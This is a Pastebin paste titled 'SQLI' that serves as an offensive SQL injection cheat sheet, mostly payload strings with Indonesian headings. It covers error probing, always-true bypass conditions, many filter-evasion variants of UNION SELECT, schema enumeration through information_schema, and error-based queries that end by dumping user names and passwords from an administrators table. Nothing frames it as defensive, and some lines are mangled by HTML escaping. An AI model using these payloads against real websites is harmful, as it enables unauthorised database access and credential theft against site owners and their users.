Advertisement
Fadly31337

SQLI

Oct 18th, 2020
179
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.88 KB | None | 0 0
  1. [~] Chek Eror [~]
  2.  
  3. 01. '
  4. 02. "
  5. 03. or 1=1
  6. 04. and 1=1
  7. 05. and false
  8. 06. and true
  9.  
  10. • [Single qiotes]
  11. 01. ' or '1'='1'--+-
  12. 02. ')-- -
  13. 03. ')--+-
  14. 04. '))-- -
  15. 05. '))--+-
  16. 06. ';%00
  17. 07. ');%00
  18. 08. '));%00
  19. 09. '%23
  20. 10. '%60
  21. 11. '%90
  22. 12. ' and 1=1
  23. 13. ' and '1'='1
  24. 14. ' and (1)=(1
  25. 15. (1') -- -
  26. 16. ' and '1'='1
  27. 17. ' and false
  28. 18. ' and true
  29. • [Double quotes]
  30. 01. " or "1"="1
  31. 02. " and "1"="1
  32. 03. " and false
  33. 04. " and true
  34. 05. "-- -
  35. 06. "--+-
  36. 07. "%23
  37. 08. ")-- -
  38. 09. ")--+-
  39. 10. "))--+-
  40. 11. ";%00
  41. 12. ") ;%00
  42. 13. "));%00
  43. 14. "%60
  44. 15. "%90
  45. 16. " and 1=1
  46. 18. " and '1'='1
  47. 19. " and (1)=(1
  48. 20. php?id=(1") -- -
  49.  
  50. [~]Baypass True Condition[~]
  51.  
  52. or '1
  53. || '1
  54. null' || 'a'=_binary'a
  55. 1' || 'a'=x'61
  56. 1' && '0'=x'30
  57. 1' %26%26 %270%27%3dx'30
  58. 2' && 0.e1=_binary"0
  59. 1 or 1.e1=0b1010
  60. ' || 1 like 1
  61. '-'
  62. "-"
  63. ' || 2 not like 1
  64. 110 or x'30'=48
  65. '1'!=20
  66. 1 or 20!='1'
  67. 2 and 2>0
  68. 3 || 0<1
  69. 12 || 0b1010<0b1011
  70. 0b11 || 0b1010x'30'
  71. 1 or 0b1
  72. 2121/**/||21
  73. 111' or _binary'1
  74. 1 or 2121
  75. 1' or 12 rlike '1
  76.  
  77.  
  78. [~] KOMENTAR [~]
  79.  
  80. 01. -- : MySQL Linux Style
  81. 02. --+ : MySQL Windows Style
  82. 03. # : Hash (URL encode while use)
  83. 04. --+- : SQL Comment
  84. 05. ;%00 : Null Byte
  85. 07. ` : Backtick
  86. 08. -- -
  87. 09. /*
  88. 10. /**/
  89. 11. %23
  90. 12. //
  91.  
  92.  
  93. [~] order by [~]
  94.  
  95. 01. group by -- +
  96. 02. and extractvalue(0x3a,concat(0x3a,(select count(*) from information_schema.columns where table_name='TABLE_NAME_HERE' and table_schema=database())))--+
  97. 03. Procedure Analyse()--+
  98. 04. and (select * from news)=(select 0)--+
  99. 05. /**/ORDER/**/BY/**/
  100. 06. /*!order*/+/*!by*/
  101. 07. /*!ORDER BY*/
  102. 08. /*!50000ORDER BY*/
  103. 09. /*!50000ORDER*//**//*!50000BY*/
  104. 10. /*!12345ORDER*/+/*!BY*/
  105.  
  106.  
  107. [~] UNION select [~]
  108.  
  109. 01. (uNioN)+(sElECt)….
  110. 02. (uNioN+SeleCT)+…
  111. 03. (UnI)(oN)+(SeL)(ecT)+….
  112. 04. union (select 1,2,3,4…)
  113. 05. /*!50000%55nIoN*/ /*!50000%53eLeCt*/
  114. 06. %55nion(%53elect 1,2,3)-- -
  115. 07. +union+distinct+select+
  116. 08. +union+distinctROW+select+
  117. 09. /**//*!12345UNION SELECT*//**/
  118. 10. /**//*!50000UNION SELECT*//**/
  119. 11. /**/UNION/**//*!50000SELECT*//**/
  120. 12. /*!50000UniON SeLeCt*/
  121. 13. union /*!50000%53elect*/
  122. 14. +#uNiOn+#sEleCt
  123. 15. +#1q%0AuNiOn all#qa%0A#%0AsEleCt
  124. 16. /*!%55NiOn*/ /*!%53eLEct*/
  125. 17. /*!u%6eion*/ /*!se%6cect*/
  126. 18. +un/**/ion+se/**/lect
  127. 19. uni%0bon+se%0blect
  128. 20. %2f**%2funion%2f**%2fselect
  129. 21. union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
  130. 22. REVERSE(noinu)+REVERSE(tceles)
  131. 24. /*--*/union/*--*/select/*--*/
  132. 25. union (/*!/**/ SeleCT */ 1,2,3)
  133. 26. /*!union*/+/*!select*/
  134. 27. union+/*!select*/
  135. 28. /**/union/**/select/**/
  136. 29. /**/uNIon/**/sEleCt/**/
  137. 30. +%2F**/+Union/*!select*/
  138. 31. /**//*!union*//**//*!select*//**/
  139. 32. /*!uNIOn*/ /*!SelECt*/
  140. 33. +union+distinct+select+
  141. 34. +union+distinctROW+select+
  142. 35. uNiOn aLl sElEcT
  143. 36. UNIunionON+SELselectECT
  144. /**/union/*!50000select*//**/
  145. 0%a0union%a0select%09
  146. %0Aunion%0Aselect%0A
  147. %55nion/**/%53elect
  148. uni<on all="" sel="">/*!20000%0d%0aunion*/+/*!20000%0d%0aSelEct*/
  149. %252f%252a*/UNION%252f%252a /SELECT%252f%252a*/
  150. %0A%09UNION%0CSELECT%10NULL%
  151. /*!union*//*--*//*!all*//*--*//*!select*/
  152. union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1% 2C2%2C
  153. /*!20000%0d%0aunion*/+/*!20000%0d%0aSelEct*/
  154. +UnIoN/*&a=*/SeLeCT/*&a=*/
  155. union+sel%0bect
  156. +uni*on+sel*ect+
  157. +#1q%0Aunion all#qa%0A#%0Aselect
  158. union(select (1),(2),(3),(4),(5))
  159. UNION(SELECT(column)FROM(table))
  160. %23xyz%0AUnIOn%23xyz%0ASeLecT+
  161. %23xyz%0A%55nIOn%23xyz%0A%53eLecT+
  162. union(select(1),2,3)
  163. union (select 1111,2222,3333)
  164. uNioN (/*!/**/ SeleCT */ 11)
  165. union (select 1111,2222,3333)
  166. +#1q%0AuNiOn all#qa%0A#%0AsEleCt
  167. /**//*U*//*n*//*I*//*o*//*N*//*S*//*e*//*L*//*e*//*c*//*T*/
  168. %0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/
  169. +%23sexsexsex%0AUnIOn%23sexsexs ex%0ASeLecT+
  170. +union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1% 2C2%2C
  171. /*!f****U%0d%0aunion*/+/*!f****U%0d%0aSelEct*/
  172. +%23blobblobblob%0aUnIOn%23blobblobblob%0aSeLe cT+
  173. /*!blobblobblob%0d%0aunion*/+/*!blobblobblob%0d%0aSelEct*/
  174. /union\sselect/g
  175. /union\s+select/i
  176. /*!UnIoN*/SeLeCT
  177. +UnIoN/*&a=*/SeLeCT/*&a=*/
  178. +uni>on+sel>ect+
  179. +(UnIoN)+(SelECT)+
  180. +(UnI)(oN)+(SeL)(EcT)
  181. +’UnI”On’+'SeL”ECT’
  182. +uni on+sel ect+
  183. +/*!UnIoN*/+/*!SeLeCt*/+
  184. /*!u%6eion*/ /*!se%6cect*/
  185. uni%20union%20/*!select*/%20
  186. union%23aa%0Aselect
  187. /**/union/*!50000select*/
  188. /^.*union.*$/ /^.*select.*$/
  189. /*union*/union/*select*/select+
  190. /*uni X on*/union/*sel X ect*/
  191. +un/**/ion+sel/**/ect+
  192. +UnIOn%0d%0aSeleCt%0d%0a
  193. UNION/*&test=1*/SELECT/*&pwn=2*/
  194. un?<ion sel="">+un/**/ion+se/**/lect+
  195. +UNunionION+SEselectLECT+
  196.  
  197. +uni%0bon+se%0blect+
  198. %252f%252a*/union%252f%252a /select%252f%252a*/
  199. /%2A%2A/union/%2A%2A/select/%2A%2A/
  200. %2f**%2funion%2f**%2fselect%2f**%2f
  201. union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
  202. /*!UnIoN*/SeLecT+
  203.  
  204. [~] information_schema.tables [~]
  205.  
  206. /*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/=schEMA()-- -
  207. /*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/ like schEMA()-- -
  208. /*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/=database()-- -
  209. /*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/ like database()-- -
  210. /*!FrOm*/+%69nformation_schema./**/columns+/*!50000Where*/+/*!%54able_name*/=hex table
  211. /*!FrOm*/+information_schema./**/columns+/*!12345Where*/+/*!%54able_name*/ like hex table
  212.  
  213. [~] concat() [~]
  214.  
  215. CoNcAt()
  216. concat()
  217. CON%08CAT()
  218. CoNcAt()
  219. %0AcOnCat()
  220. /**//*!12345cOnCat*/
  221. /*!50000cOnCat*/(/*!*/)
  222. unhex(hex(concat(table_name)))
  223. unhex(hex(/*!12345concat*/(table_name)))
  224. unhex(hex(/*!50000concat*/(table_name)))
  225.  
  226. [~] group_concat() [~]
  227.  
  228. /*!group_concat*/()
  229. gRoUp_cOnCAt()
  230. group_concat(/*!*/)
  231. group_concat(/*!12345table_name*/)
  232. group_concat(/*!50000table_name*/)
  233. /*!group_concat*/(/*!12345table_name*/)
  234. /*!group_concat*/(/*!50000table_name*/)
  235. /*!12345group_concat*/(/*!12345table_name*/)
  236. /*!50000group_concat*/(/*!50000table_name*/)
  237. /*!GrOuP_ConCaT*/()
  238. /*!12345GroUP_ConCat*/()
  239. /*!50000gRouP_cOnCaT*/()
  240. /*!50000Gr%6fuP_c%6fnCAT*/()
  241. unhex(hex(group_concat(table_name)))
  242. unhex(hex(/*!group_concat*/(/*!table_name*/)))
  243. unhex(hex(/*!12345group_concat*/(table_name)))
  244. unhex(hex(/*!12345group_concat*/(/*!table_name*/)))
  245. unhex(hex(/*!12345group_concat*/(/*!12345table_name*/)))
  246. unhex(hex(/*!50000group_concat*/(table_name)))
  247. unhex(hex(/*!50000group_concat*/(/*!table_name*/)))
  248. unhex(hex(/*!50000group_concat*/(/*!50000table_name*/)))
  249. convert(group_concat(table_name)+using+ascii)
  250. convert(group_concat(/*!table_name*/)+using+ascii)
  251. convert(group_concat(/*!12345table_name*/)+using+ascii)
  252. convert(group_concat(/*!50000table_name*/)+using+ascii)
  253. CONVERT(group_concat(table_name)+USING+latin1)
  254. CONVERT(group_concat(table_name)+USING+latin2)
  255. CONVERT(group_concat(table_name)+USING+latin3)
  256. CONVERT(group_concat(table_name)+USING+latin4)
  257. CONVERT(group_concat(table_name)+USING+latin5)
  258.  
  259. [~] Eror based [~]
  260.  
  261. • Chek versi
  262. = and (select * from (select name_const(version(),1),name_const(version(),1))a)
  263. • Chek user
  264. = and (select 1 from (select count(*),concat((select(select concat(cast(user() as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
  265. • Chek database
  266. = and (select 1 from (select count(*),concat((select(select concat(cast(user() as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
  267. • Chek Table
  268. = and (select 1 from (select count(*),concat((select(select concat(cast(table_name as char),0x7e)) from information_schema.tables where table_schema=database() limit 2,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
  269. • Chek Column
  270. = and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0x61646d696e6973747261746f7273 limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
  271. = and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0x61646d696e6973747261746f7273 limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
  272. = and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0x61646d696e6973747261746f7273 limit 2,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
  273.  
  274. • Dump data
  275. = and (select 1 from (select count(*),concat((select(select concat(cast(concat(user_name,0x3a,user_password) as char),0x7e)) from administrators limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
  276. = and (select 1 from (select count(*),concat((select(select concat(cast(concat(user_name,0x3a,user_password) as char),0x7e)) from administrators limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
  277.  
  278.  
  279. [~] Using Xpath [~]
  280. 01. and extractvalue(0x0a,concat(0x0a,(OUR QUERY HERE)))--
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement